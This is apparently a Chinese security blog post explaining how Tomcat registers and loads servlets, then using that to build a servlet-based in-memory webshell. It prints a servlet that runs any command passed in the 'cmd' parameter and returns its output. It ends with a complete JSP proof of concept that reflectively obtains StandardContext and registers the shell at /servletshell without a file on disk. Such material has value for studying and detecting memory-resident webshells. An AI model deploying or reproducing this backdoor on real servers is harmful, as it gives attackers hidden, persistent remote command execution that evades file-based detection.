Java安全-Tomcat 之 Servlet 型内存马
Servlet创建
看一下servlet接口的方法有哪些

实际上方法不是很多
1 2 3 4 5 6 7 8 9 10 11
| public interface Servlet { void init(ServletConfig var1) throws ServletException; ServletConfig getServletConfig(); void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; String getServletInfo(); void destroy(); }
|
创建一个恶意的Servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import javax.servlet.*; import javax.servlet.annotation.WebServlet; import java.io.IOException;
public class ServletTest implements Servlet { @Override public void init(ServletConfig config) throws ServletException {
}
@Override public ServletConfig getServletConfig() { return null; }
@Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd != null) { try { Process process = Runtime.getRuntime().exec(cmd); java.io.InputStream in = process.getInputStream(); java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in)); String line; while ((line = reader.readLine()) != null) { res.getWriter().write(line + "\n"); } reader.close(); } catch (IOException e) { e.printStackTrace(); res.getWriter().write("Error: " + e.getMessage()); } } else { res.getWriter().write("No cmd parameter provided."); } }
@Override public String getServletInfo() { return null; }
@Override public void destroy() {
} }
|
配置web.xml
1 2 3 4 5 6 7 8 9 10
| <servlet> <servlet-name>Servlet01</servlet-name> <servlet-class>ServletTest</servlet-class> </servlet>
<servlet-mapping> <servlet-name>Servlet01</servlet-name> <url-pattern>/servlet</url-pattern> </servlet-mapping>
|
测试一下先

顺利执行
Servlet流程分析
初始化
这里我们只分析Servlet的动态注册和装载过程,其他不再分析
在org.apache.catalina.core.StandardWrapper#setServletClass()处下断点调试,回溯到上一层的ContextConfig.configureConetxt():

在这里我们可以很清楚地看到Wrapper的初始化流程,首先调用创建了wrapper,然后调用set方法配置wrapper相关的属性,我们可以参考web.xml中需要配置的属性来推测wrapper的关键属性(即图中红框),需要留意的一个特殊属性是load-on-startup属性,它是一个启动优先级,后续再分析:

看到还获取了RunAs和ServletClass

配置完成后会直接将wrapper(这里是StandardWrapper)放入StandardContext的child里:

接着会遍历web.xml中servlet-mapping的servlet-name和对应的url-pattern,调用StandardContext.addServletMapping()添加servlet对应的映射:

总结一下servlet初始化的流程
- 通过 context.createWapper() 创建 Wapper 对象
- 设置 Servlet 的 LoadOnStartUp 的值(后续分析为什么动态注册Servlet需要设置该属性)
- 设置 Servlet 的 Name
- 设置 Servlet 对应的 Class
- 将 Servlet 添加到 context 的 children 中
- 将 url 路径和 servlet 类做映射
装载
在org.apache.catalina.core.StandardWrapper#loadServlet()处下断点调试,回溯到StandardContext.startInternal()方法:

可以看到该方法中先加载listener,再加载filter,最后加载我们存放在children里的servlet
这里调用了findChildren()方法从StandardContext中拿到所有的child并传到loadOnStartUp()方法处理,跟到loadOnstartup(),可以根据代码和注释了解到这个方法会将所有load-on-startup属性大于0的wrapper加载(反之则不会),这也是为什么上文我们提到需要关注这个属性的原因


找ai翻译了一下这段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| public boolean loadOnStartup(Container[] children) { TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap();
for(int i = 0; i < children.length; ++i) { Wrapper wrapper = (Wrapper)children[i]; int loadOnStartup = wrapper.getLoadOnStartup(); if (loadOnStartup >= 0) { Integer key = loadOnStartup; ArrayList<Wrapper> list = (ArrayList)map.get(key); if (list == null) { list = new ArrayList(); map.put(key, list); }
list.add(wrapper); } }
for(ArrayList<Wrapper> list : map.values()) { for(Wrapper wrapper : list) { try { wrapper.load(); } catch (ServletException e) { this.getLogger().error( sm.getString("standardContext.loadOnStartup.loadException", new Object[]{this.getName(), wrapper.getName()}), StandardWrapper.getRootCause(e) ); if (this.getComputedFailCtxIfServletStartFails()) { return false; } } } }
return true; }
|
从这段代码不难看出这里的loadonstartup的值代表的是优先级
根据搜索,我们了解到load-on-startup属性的作用:
load-on-startup 这个元素的含义是在服务器启动的时候就加载这个servlet(实例化并调用init()方法). 这个元素中的可选内容必须为一个整数,表明了这个servlet被加载的先后顺序. 当是一个负数时或者没有指定时,则表示服务器在该servlet被调用时才加载。正数的值越小,启动该 servlet 的优先级越高。
可以看到当未设置load-on-startup属性是,tomcat采用的是一种懒加载的机制,只有servlet被调用时才会加载到Context中
由于我们需要动态注册Servlet,为了使其被加载,我们必须设置load-on-startup属性
内存马实现
构造思路
- 创建恶意servlet
- 创建StandardWrapper,设置属性值
- 通过addChild将StandardWrapper添加到StandarContext里

- 获取
StandardContext 对象
- 编写恶意 Servlet
- 通过
StandardContext.createWrapper() 创建StandardWrapper 对象
- 设置
StandardWrapper 对象的 loadOnStartup 属性值
- 设置
StandardWrapper 对象的 ServletName 属性值
- 设置
StandardWrapper 对象的 ServletClass 属性值
- 将
StandardWrapper 对象添加进 StandardContext 对象的 children 属性中
- 通过
StandardContext.addServletMappingDecoded() 添加对应的路径映射
编写poc
获取StandardContext
利用request对象获取
1 2 3
| <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %>
|
servlet就用我们之前测试的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <%! public class Shell_Servlet implements Servlet { @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd != null) { try { Process process = Runtime.getRuntime().exec(cmd); java.io.InputStream in = process.getInputStream(); java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in)); String line; while ((line = reader.readLine()) != null) { res.getWriter().write(line + "\n"); } reader.close(); } catch (IOException e) { e.printStackTrace(); res.getWriter().write("Error: " + e.getMessage()); } } else { res.getWriter().write("No cmd parameter provided."); } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } } %>
|
创建wrapper对象并填充属性
1 2 3 4 5 6 7 8 9 10
| <% Shell_Servlet shell_servlet = new Shell_Servlet(); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %>
|
将 Wrapper 添加进 StandardContext并将路径映射添加进Map
1 2 3 4
| <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell",name); %>
|
最终poc,只需要把这几段拼接起来即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext standardContext = (StandardContext) req.getContext(); %> <%! public class Shell_Servlet implements Servlet { @Override public void init(ServletConfig config) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { String cmd = req.getParameter("cmd"); if (cmd != null) { try { Process process = Runtime.getRuntime().exec(cmd); java.io.InputStream in = process.getInputStream(); java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in)); String line; while ((line = reader.readLine()) != null) { res.getWriter().write(line + "\n"); } reader.close(); } catch (IOException e) { e.printStackTrace(); res.getWriter().write("Error: " + e.getMessage()); } } else { res.getWriter().write("No cmd parameter provided."); } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } } %> <% Shell_Servlet shell_servlet = new Shell_Servlet(); String name = shell_servlet.getClass().getSimpleName(); Wrapper wrapper = standardContext.createWrapper(); wrapper.setLoadOnStartup(1); wrapper.setName(name); wrapper.setServlet(shell_servlet); wrapper.setServletClass(shell_servlet.getClass().getName()); %> <% standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/servletshell",name); %>
|
运行一下
顺利回显

参考
https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Servlet%E5%9E%8B/#servlet%E8%A3%85%E8%BD%BD%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90
Java内存马系列-05-Tomcat 之 Servlet 型内存马 | Drunkbaby’s Blog